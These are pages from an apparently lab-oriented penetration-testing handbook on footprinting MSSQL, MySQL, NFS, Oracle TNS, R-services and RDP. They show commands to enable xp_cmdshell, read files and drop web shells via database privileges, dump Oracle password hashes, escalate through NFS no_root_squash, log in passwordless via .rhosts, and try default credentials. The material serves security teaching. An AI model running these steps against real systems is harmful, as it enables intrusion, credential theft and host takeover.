locate mssqlclient
```
### Nmap
MSSQL listens on **TCP 1433**. The MSSQL NSE scripts pull a lot at once — hostname, instance name, version, and whether named pipes are enabled:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER \
-sV -p1433 10.129.201.248
```
```
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000
| ms-sql-info:
| 10.129.201.248:1433:
| Version: Microsoft SQL Server 2019
| Instance name: MSSQLSERVER
| Named pipe: \\10.129.201.248\pipe\sql\query
|_ TCP port: 1433
```
### Metasploit mssql\_ping
The `mssql_ping` auxiliary scanner adds more footprinting detail:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
use auxiliary/scanner/mssql/mssql_ping
set RHOSTS 10.129.201.248
run
```
### Connecting with mssqlclient.py
With guessed or recovered credentials, connect and interact using **T-SQL** (Transact-SQL). The `windows-auth` flag uses Windows authentication:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
mssqlclient.py sa:Password123@10.129.201.248 -windows-auth
```
```
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Encryption required, switching to TLS
[*] ACK! ... Login success.
[*] INFO(SQL01): Line 1: Changed database context to 'master'.
SQL>
```
Get a lay of the land by listing databases (in MSSQL, tables are `sysobjects`):
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name FROM sys.databases;
```
```
name
-----------
master
tempdb
model
msdb
inlanefreight_db
```
***
## Command Execution with xp\_cmdshell
This is what sets MSSQL apart. With `sa` (or sufficient privileges), the `xp_cmdshell` stored procedure runs OS commands as the SQL service account. It's disabled by default, but you can enable it from the SQL prompt:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
-- Enable advanced options
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Run an OS command
EXEC xp_cmdshell 'whoami';
```
```
output
-------------------------
nt service\mssqlserver
```
`xp_cmdshell` turns a database login into a shell on the Windows host, running
as the SQL service account. From `whoami` you can move to downloading and
running a payload, and from there to privilege escalation — the SQL service
account often has `SeImpersonatePrivilege`, opening the door to a Potato
attack. This is the single most important reason to prioritize MSSQL on a
Windows engagement.
***
## Quick Reference
| Command | Purpose |
| -------------------------------------------------- | ----------------------------------- |
| `nmap --script ms-sql-* -p1433 ` | Enumerate instance, version, config |
| `auxiliary/scanner/mssql/mssql_ping` | Metasploit footprinting |
| `mssqlclient.py :@ -windows-auth` | Connect via T-SQL |
| `SELECT name FROM sys.databases;` | List databases |
| `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;` | Enable command execution |
| `EXEC xp_cmdshell 'whoami';` | Run an OS command |
**The footprinting flow:** nmap `ms-sql-*` for instance/version → try `sa` with weak/default creds → connect with mssqlclient.py → enumerate databases → enable and abuse `xp_cmdshell` for command execution on the host.
***
*Next: [Oracle TNS](/tech/services/oracle-tns) — the Oracle listener, SID enumeration, and database privilege escalation.*
# Mysql
Source: https://hackbook.dudji.com/tech/services/mysql
# MySQL
> A MySQL server reachable on the network is a direct line to whatever the application stores — users, password hashes, session data, business records. Weak or reused credentials get you in, and from there `secure_file_priv` and `FILE` privileges can turn a database login into file reads and sometimes code execution.
**Protocol:** TCP · **Port:** 3306
***
## What Is MySQL?
**MySQL** is an open-source relational database management system, developed and supported by Oracle. Databases are often dumped to a single `.sql` file (e.g. `wordpress.sql`).
A MySQL server translates SQL commands into executable actions and returns the result to the client — a table extract, login records, search results, and so on. When something goes wrong during processing, the application reports an error, and **those errors are exactly what SQL injection provokes** to manipulate the database.
***
## Default Configuration
MySQL is configured through `/etc/mysql/mysql.conf.d/mysqld.cnf` (or `my.cnf`):
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# mysqld.cnf
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
bind-address = 127.0.0.1
```
***
## Dangerous Settings
The security-relevant options:
| Setting | Risk |
| ------------------ | ----------------------------------------------------------------------------- |
| `user` | The OS user MySQL runs as — stored in plain text in the config |
| `password` | The MySQL user's password — **plain text** in the config |
| `admin_address` | IP for TCP/IP connections on the admin interface |
| `debug` | Current debugging settings — verbose error output |
| `sql_warnings` | Whether single-row INSERTs produce info strings on warnings |
| `secure_file_priv` | Limits import/export operations — if empty, enables arbitrary file read/write |
`user`, `password`, and `admin_address` matter because they're stored in **plain text**. Config-file permissions are often set wrong — so if you get any file-read primitive or a shell, you can read the MySQL username and password straight out of the config.
`debug` and `sql_warnings` produce verbose error output. That's useful to an administrator but leaks sensitive content to everyone else — error messages are often shown directly in the web application, and that detail can be used to refine SQL injection, sometimes to the point of getting the server to **execute system commands**.
An empty `secure_file_priv` is the dangerous one. It removes the restriction
on file import/export, so a user with the `FILE` privilege can read arbitrary
files (`LOAD_FILE()`) and write files (`INTO OUTFILE`) — which can mean
reading `/etc/passwd` or dropping a web shell into the web root.
***
## Footprinting the Service
### Nmap
MySQL runs on **TCP 3306**. Scan with the MySQL NSE scripts:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -sC -p3306 --script mysql-* 10.129.14.128
```
```
PORT STATE SERVICE VERSION
3306/tcp open mysql MySQL 8.0.27
| mysql-info:
| Protocol: 10
| Version: 8.0.27
| Capabilities flags: 65535
|_ Auth Plugin Name: caching_sha2_password
| mysql-empty-password:
|_ root account has empty password
```
Always confirm scan results manually — they throw false positives. The
`mysql-empty-password` result above is a perfect example: it claims `root` has
an empty password, but if you know the server uses a fixed password, that's a
false positive. Test before you trust it.
### Connecting
Log in with credentials you've guessed, found, or recovered elsewhere:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
mysql -u root -p'Password123' -h 10.129.14.128
```
There must be **no space** between `-p` and the password (`-p'Password123'`,
not `-p 'Password123'`). With a space, MySQL treats the next argument as the
database name and prompts for the password interactively.
### Enumerating Databases
Once in, list the databases. Two always exist and matter for orientation:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SHOW DATABASES;
```
```
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| wordpress |
+--------------------+
```
* **`information_schema`** — metadata about every database, table, and column on the server
* **`sys`** — system schema with tables, info, and metadata for management
The application's own database (`wordpress` here) is where the interesting data lives — users and password hashes especially.
***
## MySQL Command Reference
| Command | Purpose |
| ---------------------------------------------------- | ------------------------------------ |
| `mysql -u -p -h ` | Connect (no space after `-p`) |
| `SHOW DATABASES;` | List all databases |
| `USE ;` | Select a database |
| `SHOW TABLES;` | List tables in the selected database |
| `SHOW COLUMNS FROM
;` | Dump data |
| `SELECT LOAD_FILE('/etc/passwd');` | Read a file (needs FILE priv + empty `secure_file_priv`) |
**The footprinting flow:** nmap for 3306 and version → confirm results manually → log in with found/guessed creds → enumerate databases → dump the application's user table → abuse `FILE` privileges if `secure_file_priv` is open.
***
*Next: [MSSQL](/tech/services/mssql) — Microsoft SQL Server, xp\_cmdshell, and command execution.*
# Nfs
Source: https://hackbook.dudji.com/tech/services/nfs
# NFS
> NFS is the Unix world's file sharing — and because it pushes authentication onto RPC and trusts the client's UID, a misconfigured export lets you mount a share, impersonate whatever user owns the files, and read or modify them at will. The `no_root_squash` option turns that into a clean privilege escalation.
**Protocol:** TCP/UDP · **Ports:** 2049 (NFS) · 111 (RPC portmapper)
***
## What Is NFS?
**Network File System (NFS)**, developed by Sun Microsystems, serves the same purpose as SMB — accessing file systems over a network as if they were local — but it's used **between Linux and Unix** systems.
A big advantage of **NFSv4** over older versions is that it uses just a single port (TCP or UDP **2049**), which makes it much easier to run across firewalls. Older versions also rely on the **ONC-RPC/SUN-RPC** protocol on **port 111**, using XDR (External Data Representation) for system-independent data exchange.
The critical security fact: **NFS has no authentication or authorization mechanism of its own.** Authentication is shifted entirely onto RPC's options — which is exactly the gap you exploit.
***
## Default Configuration
NFS is simpler to configure than FTP or SMB. The `/etc/exports` file holds a table of the physical filesystems the server makes available, which hosts/subnets can reach them, and with what rights:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# /etc/exports
/mnt/nfs 10.129.14.0/24(rw,sync,no_subtree_check)
```
This entry shares `/mnt/nfs` to the entire `10.129.14.0/24` subnet — meaning **any host on that network can mount the share and inspect its contents**. Each export is the folder, then the host or subnet allowed, then the options in parentheses.
***
## Dangerous Settings
Several export options are risky:
| Option | Risk |
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `rw` | Read-write access — clients can modify files |
| `insecure` | **Allows ports above 1024.** Normally only root can use ports below 1024, which keeps unprivileged local users from interacting with NFS. `insecure` removes that barrier |
| `nohide` | Exposes nested/child filesystems |
| `no_root_squash` | **The big one** — a client connecting as root is treated as root on the share, instead of being "squashed" to the unprivileged `nobody` user |
`no_root_squash` is the privilege-escalation enabler. With it set, you can
write a root-owned SUID binary onto the share from your own machine (where
you're root), then execute it on the target to run as root. Without it,
`root_squash` maps you down to `nobody` and even root can't touch root-owned
files like a `backup.sh`.
***
## Footprinting the Service
### RPC Enumeration with Nmap
Ports **111** and **2049** are the ones that matter. The `rpcinfo` NSE script lists all running RPC services, their names, and ports — confirming the share is reachable on the ports it needs:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -sC -p111,2049 10.129.14.128
```
```
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100003 3,4 2049/tcp nfs
| 100005 1,2,3 892/tcp mountd
2049/tcp open nfs_acl 3 (RPC #100227)
```
NFS-specific NSE scripts can go further and show the share's contents and stats:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap --script nfs-ls,nfs-showmount,nfs-statfs -p111,2049 10.129.14.128
```
### Show Available Shares
List the exports with `showmount`:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
showmount -e 10.129.14.128
```
```
Export list for 10.129.14.128:
/mnt/nfs 10.129.14.0/24
```
### Mount the Share
Create an empty local folder and mount the share to it, then browse it like any local directory:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
mkdir target-nfs
sudo mount -t nfs 10.129.14.128:/mnt/nfs ./target-nfs/ -o nolock
cd target-nfs
```
### List with Owners — and Why It Matters
List contents showing usernames/groups, then UIDs/GIDs:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# By username / group name
ls -l target-nfs/
# By numeric UID / GID
ls -n target-nfs/
```
```
-rw-r--r-- 1 cry0l1t3 cry0l1t3 1872 Jun 25 12:00 id_rsa
-rwx------ 1 root root 402 Jun 25 12:00 backup.sh
```
Because NFS trusts the client's UID, once you know the **UIDs and GIDs** that own the files, you can create matching users/groups on *your own* machine and adapt to the share — letting you read and modify files as those owners.
If `root_squash` is set, you **cannot** edit a root-owned file like
`backup.sh` even as root — your root gets squashed to `nobody`. That single
option is the difference between "I can read the share" and "I own this box."
### Escalation via SUID
NFS also enables local privilege escalation. If you already have SSH access and want to read files only a specific user can access, upload a shell to the NFS share with that user's **SUID** set (from your machine, where you control ownership), then run it through your SSH session — it executes with the SUID user's rights.
When you're finished, unmount cleanly:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo umount ./target-nfs/
```
***
## Quick Reference
| Command | Purpose |
| ---------------------------------------------------- | ------------------------------------ |
| `nmap -sV -sC -p111,2049 ` | RPC + NFS enumeration |
| `nmap --script nfs-ls,nfs-showmount,nfs-statfs ` | Share contents and stats |
| `showmount -e ` | List available exports |
| `mount -t nfs :/share ./local -o nolock` | Mount the share |
| `ls -l` / `ls -n` | List with owner names / numeric UIDs |
| `umount ./local` | Unmount when done |
**The footprinting flow:** nmap/rpcinfo to confirm RPC and NFS → showmount to list exports → mount the share → list by UID/GID → impersonate owners (or abuse `no_root_squash`/SUID to escalate).
***
*Next: [RSYNC](/tech/services/rsync) — enumerating and pulling files from rsync modules.*
# Oracle tnd
Source: https://hackbook.dudji.com/tech/services/oracle_tnd
# Oracle TNS
> The Oracle TNS listener is the front door to Oracle databases — and a frequently neglected one. Default passwords that admins forget to change, guessable SIDs, and the `sysdba` escalation path turn a listener on port 1521 into database access, password hashes to crack offline, and sometimes a web shell on the host.
**Protocol:** TCP · **Port:** 1521
***
## What Is Oracle TNS?
The **Oracle Transparent Network Substrate (TNS)** is the communication protocol between Oracle databases and client applications. It supports multiple networking stacks (IPX/SPX, TCP/IP) and has built-in encryption — which is why it's the go-to for large, complex databases in healthcare, finance, and retail.
The TNS **listener** is the server-side process that receives client connection requests and routes them to the right database instance.
***
## Default Configuration
By default the listener accepts connections on **TCP 1521**, and can listen on specific interfaces or all of them. Oracle TNS could be remotely managed in **8i/9i**, but not in **10g/11g**.
The two key config files live in `$ORACLE_HOME/network/admin`:
* **`tnsnames.ora`** — *client-side*. Resolves service names to network addresses. Each database/service has an entry with a name, network location, and the service name clients use to connect.
* **`listener.ora`** — *server-side*. Defines the listener's properties: which services it listens for and how it behaves.
A simple `tnsnames.ora` entry:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ORCL =
(DESCRIPTION =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.129.11.102)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = orcl)
)
)
```
Here the `ORCL` service listens on TCP/1521 at `10.129.11.102`, and clients connect using the service name `orcl`.
### Default Passwords
Oracle's neglected-defaults problem is the recurring theme:
| Service / Version | Default Credential |
| ----------------- | --------------------------- |
| Oracle 9 | `CHANGE_ON_INSTALL` |
| Oracle 10 | *(no default password set)* |
| Oracle DBSNMP | password `dbsnmp` |
Oracle 9's `CHANGE_ON_INSTALL` and the DBSNMP `dbsnmp` password are left in
place constantly — always try them. Many organizations also still run the
legacy `finger` service alongside Oracle, which can expose home directories
and put the database at further risk.
***
## Footprinting the Service
### Setting Up ODAT
The **Oracle Database Attacking Tool (ODAT)** is the standard open-source tool for enumerating and exploiting Oracle databases — SID enumeration, SQL injection, RCE, and privilege escalation. It needs the Oracle Instant Client and a few packages. This Bash script sets it all up:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
#!/bin/bash
sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
```
Confirm it works:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
./odat.py -h
```
### Nmap
Scan the default listener port:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo nmap -p1521 -sV 10.129.11.102 --open
```
```
PORT STATE SERVICE VERSION
1521/tcp open oracle-tns Oracle TNS Listener 11.2.0.2.0 (unauthorized)
```
### SID Enumeration
A **SID (System Identifier)** uniquely names a database instance — a server can host many, each with its own SID. A client specifies the SID in its connection string to pick the instance; without one, the default from `tnsnames.ora` is used. Since you need a valid SID to connect, **guessing it is the first real hurdle** — use nmap, ODAT, or hydra:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Nmap SID brute-force
sudo nmap -p1521 -sV --script oracle-sid-brute 10.129.11.102
# ODAT — all enumeration modules at once
./odat.py all -s 10.129.11.102
```
```
[+] SIDs found: XE, ORCL, PLSExtProc
```
***
## Connecting and Enumerating
### sqlplus Login
With a SID and credentials, log in:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sqlplus scott/tiger@10.129.11.102/XE
```
If you hit `sqlplus: error while loading shared libraries: libsqlplus.so`, register the client library path and refresh the linker cache:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"
sudo ldconfig
```
### Escalating to sysdba
Once in, enumerate the current user's privileges and available tables:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT table_name FROM all_tables;
SELECT * FROM user_role_privs;
```
If the account (e.g. `scott`) has the right privileges, you can log back in **as sysdba** — the System Database Admin — for far higher privileges:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sqlplus scott/tiger@10.129.11.102/XE as sysdba
```
Logging in `as sysdba` is the privilege-escalation step. When a regular
account has been granted sysdba (often by a lazy admin, or because it's the
admin's own account), you jump from a low-privilege user to full database
administrator.
### Extracting Password Hashes
As sysdba you can pull password hashes from `sys.user$` and crack them offline:
```sql theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
SELECT name, password, spare4 FROM sys.user$;
```
```
NAME PASSWORD SPARE4
---------- ------------------- ----------------------------------------
SYS FED332D... S:8F2D...;H:7A1B...
SYSTEM A1B2C3D... S:9E3F...;H:2C4D...
```
### Web Shell Upload
If the server also runs a web server and you know its document root, you can upload a web shell through the database for code execution. Try default web root paths if you can fingerprint the system, and **test with a harmless file first** — upload a text file with a known string before anything that might trip AV/IDS:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Upload a test file via ODAT
./odat.py utlfile -s 10.129.11.102 -d XE -U scott -P tiger \
--sysdba --putFile C:\\inetpub\\wwwroot test.txt ./test.txt
# Confirm it landed
curl http://10.129.11.102/test.txt
```
File upload requires the target to be running a web server *and* knowing its
document root. Always start with an innocuous test file to confirm the
technique works before uploading an actual shell.
***
## Quick Reference
| Command | Purpose |
| ----------------------------------------------- | ----------------------------- |
| `nmap -p1521 -sV ` | Detect the TNS listener |
| `nmap -p1521 --script oracle-sid-brute ` | Brute-force SIDs |
| `./odat.py all -s ` | Full ODAT enumeration |
| `sqlplus /@/` | Connect |
| `sqlplus /@/ as sysdba` | Connect with admin privileges |
| `SELECT name, password, spare4 FROM sys.user$;` | Dump password hashes |
| `./odat.py utlfile ... --putFile ` | Upload a file / web shell |
**Default creds to try:** Oracle 9 `CHANGE_ON_INSTALL` · DBSNMP `dbsnmp`.
**The footprinting flow:** nmap for 1521 → brute-force the SID → try default credentials → log in with sqlplus → escalate `as sysdba` → dump `sys.user$` hashes to crack offline, or upload a web shell if a web server is present.
***
*This concludes the Services chapter. When a port turns up on a scan, jump straight to its page for the footprinting flow — each one stands on its own.*
# Ports & Reference
Source: https://hackbook.dudji.com/tech/services/ports
Common service ports and OSI layer attack mapping.
## Port & Services
| Port | Service |
| ------------------ | ----------- |
| 20 | FTP |
| 22 | SSH |
| 25, 587 | SMTP |
| 53 | DNS |
| 110, 143, 993, 995 | IMAP / POP3 |
| 111, 2049 | NFS |
| 135 | WMI |
| 161, 162 | SNMP |
| 445 | SMB |
| 512, 513, 514 | R-Services |
| 623 | IPMI |
| 873 | Rsync |
| 1433 | MSSQL |
| 1521 | Oracle TNS |
| 3306 | MySQL |
| 3389 | RDP |
| 5985, 5986 | WinRM |
## OSI Layers & Attacks
| OSI Layer | Attack |
| ------------ | -------------- |
| Application | Exploit |
| Presentation | Phishing |
| Session | Hijacking |
| Transport | Reconnaissance |
| Network | MITM |
| Data Link | Spoofing |
| Physical | Sniffing |
# R services
Source: https://hackbook.dudji.com/tech/services/r-services
# R-Services
> R-services are the insecure ancestor of SSH — remote access built on *trust* rather than authentication. A single `+` in a `.rhosts` file tells the host to trust anyone, and you log in as another user with no password at all. Rare today, but when you find them, they're a free foothold.
**Protocol:** TCP · **Ports:** 512, 513, 514
***
## What Are R-Services?
**R-services** were the de facto standard for remote access between Unix systems until **SSH** replaced them, precisely because of their built-in security flaws. Like telnet, they transmit everything — passwords, login info — **unencrypted** over the network, making them trivial to intercept with a man-in-the-middle attack.
They span **TCP ports 512, 513, and 514** and are accessed through a suite of programs called **r-commands**:
| Command | Daemon | Port | Description |
| -------- | --------- | ------- | ------------------------------------------------- |
| `rcp` | — | 514 | Remote copy — copy files between hosts |
| `rexec` | `rexecd` | 512 | Remote execution — run a command on a remote host |
| `rlogin` | `rlogind` | 513 | Remote login — like telnet, but trust-based |
| `rsh` | `rshd` | 514 | Remote shell — run commands without logging in |
| `rwho` | `rwhod` | 513/udp | List who's logged in across the local network |
| `rusers` | — | — | Detailed list of logged-in users network-wide |
***
## Default Configuration
The trust model lives in two files:
* **`/etc/hosts.equiv`** — a system-wide list of trusted hosts. Users from these hosts are granted access **without further authentication**.
* **`~/.rhosts`** — a per-user version of the same idea.
By default these services use **PAM** (Pluggable Authentication Modules) for authentication, but `hosts.equiv` and `.rhosts` short-circuit that with a list of trusted host/user pairs.
Entries follow the syntax ``:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# ~/.rhosts
htb-student 10.0.17.5
admin workstn02
+ 10.0.17.10
```
The `+` modifier is a **wildcard meaning "anything."** In the example above, the `+ 10.0.17.10` line lets *any* external user access r-commands from the `htb-student` account via the host at `10.0.17.10`.
A `+` in `hosts.equiv` or `.rhosts` is the misconfiguration that defines
R-services exploitation. `+ +` (trust any user from any host) is the worst
case — it lets you authenticate as another user with no credentials at all,
often leading straight to code execution.
***
## Footprinting the Service
### Scanning for R-Services
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -p512,513,514 10.129.14.128
```
```
PORT STATE SERVICE VERSION
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open shell Netkit rshd
```
### Logging in with rlogin
When `.rhosts` is misconfigured, `rlogin` gets you onto the host as the trusted user with no password:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rlogin 10.129.14.128 -l htb-student
```
```
Last login: Tue Jun 25 12:00 from 10.0.17.5
htb-student@target:~$ id
uid=1000(htb-student) gid=1000(htb-student) groups=1000(htb-student)
```
That successful login with no credentials is the `.rhosts` misconfiguration paying off.
### Listing Logged-in Users with rwho
Once in, `rwho` lists all interactive sessions on the local network (it queries UDP port 513):
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rwho
```
```
htb-student workstn01:pts/0 Jun 25 12:00
root web01:pts/1 Jun 25 11:45
```
This is a username goldmine — here you can see `htb-student` is on `workstn01` and `root` is logged into `web01`, all useful targets for further attacks.
The `rwho` daemon **periodically broadcasts** logged-on-user info across the
network, so watching the traffic over time can surface users and hosts you'd
otherwise miss.
### More Detail with rusers
`rusers` gives a fuller picture than `rwho` — username, hostname, the TTY they're on, login date/time, idle time, and the remote host they connected from:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
rusers -al 10.129.14.128
```
```
htb-student workstn01:pts/0 Jun 25 12:00 2:14 (10.0.17.5)
root web01:console Jun 25 11:45 0:03
```
***
## Quick Reference
| Command | Purpose |
| ----------------------------- | ------------------------------------------------------- |
| `nmap -sV -p512,513,514 ` | Detect r-services |
| `rlogin -l ` | Log in as a trusted user (no password if misconfigured) |
| `rsh ` | Run a command remotely |
| `rwho` | List logged-in users on the network |
| `rusers -al ` | Detailed logged-in user info |
**The key file:** `hosts.equiv` / `.rhosts`. A `+` wildcard means trust-anyone — log in as another user with no credentials.
**The footprinting flow:** nmap for 512–514 → attempt rlogin against likely users → enumerate the network with rwho/rusers for more usernames and hosts to target.
***
*Next: [IPMI](/tech/services/ipmi) — baseboard management controllers and the infamous hash-retrieval flaw.*
# Rdp
Source: https://hackbook.dudji.com/tech/services/rdp
# RDP
> RDP hands you a full graphical desktop on a Windows host — if you have credentials. There's rarely an exploit needed; the protocol is the front door, and the keys are the credentials you've gathered elsewhere. Scanning it also leaks the hostname, version, and whether NLA stands between you and a login.
**Protocol:** TCP (and UDP) · **Port:** 3389
***
## What Is RDP?
The **Remote Desktop Protocol (RDP)** is Microsoft's protocol for remote access to a Windows machine. It transmits display and control commands for the GUI, encrypted, over IP networks — operating at the **application layer** of the TCP/IP model, typically on **TCP port 3389** (UDP 3389 can also be used for remote administration).
For a session to establish, both the network firewall and the server's own firewall have to allow the connection from outside.
### Encryption and NLA
Since Windows Vista, RDP supports **TLS/SSL**, protecting all data — especially the login — with strong encryption. But many Windows systems don't *insist* on it and still accept weaker "RDP Security" encryption.
Even with TLS, there's a catch: the identity certificates are **self-signed by default**, so the client can't tell a genuine certificate from a forged one. That produces a certificate warning the user has to click through — and it opens the door to man-in-the-middle attacks.
The Remote Desktop service is installed by default on Windows Server (activated via Server Manager) and, by default, only allows connections from hosts using **Network Level Authentication (NLA)** — which forces authentication *before* a session is created.
***
## Footprinting the Service
### Nmap
Scanning RDP quickly yields the hostname, product version, and whether **NLA** is enabled:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
nmap -sV -sC -p3389 --script rdp-ntlm-info 10.129.14.128
```
```
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: DC01
| Product_Version: 10.0.17763
|_ System_Time: 2024-06-25T12:00:00+00:00
| ssl-cert: Subject: commonName=DC01.inlanefreight.htb
|_ssl-date: TLS randomness does not represent time
```
Adding `--packet-trace` lets you inspect the packets, but note that Nmap's RDP
probe uses an identifiable cookie — `mstshash=nmap`. Threat hunters and EDR
can spot that signature and lock you out on a hardened network. Be aware your
RDP scans are noisy and fingerprintable.
### rdp-sec-check — Identify Security Settings
`rdp-sec-check.pl` (Cisco CX Security Labs) unauthenticatedly identifies an RDP server's security settings from its handshakes — useful for spotting weak encryption and whether NLA is enforced:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Install
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git
cd rdp-sec-check
# Run
./rdp-sec-check.pl 10.129.14.128
```
```
[+] Checking RDP security settings for 10.129.14.128
[-] PROTOCOL_SSL: SUPPORTED
[-] PROTOCOL_HYBRID (NLA): SUPPORTED
[-] PROTOCOL_RDP (standard RDP security): SUPPORTED
[-] Conclusion: server accepts weak RDP Security — MITM possible
```
***
## Connecting to RDP
Once you have valid credentials, connect from Linux with `xfreerdp`, `rdesktop`, or `Remmina`. `xfreerdp` is the standard:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
xfreerdp /u:admin /p:Password123 /v:10.129.14.128
# With a domain, ignore the self-signed cert warning, go full screen
xfreerdp /d:INLANEFREIGHT /u:admin /p:Password123 /v:10.129.14.128 /cert:ignore /f
```
After successful authentication a new window opens with the server's desktop.
RDP creates an **interactive logon**, which caches the user's credentials in
LSASS memory. If you RDP in as a user — or catch an administrator who RDPs in
while you're already on the box — those credentials become dumpable. This ties
into the logon-type credential theft covered on the Windows side.
***
## Quick Reference
| Command | Purpose |
| ------------------------------------------------- | ---------------------------------------------- |
| `nmap -sV -sC -p3389 --script rdp-ntlm-info ` | Hostname, version, NLA status |
| `rdp-sec-check.pl ` | Identify RDP security settings unauthenticated |
| `xfreerdp /u:.. /p:.. /v:` | Connect from Linux |
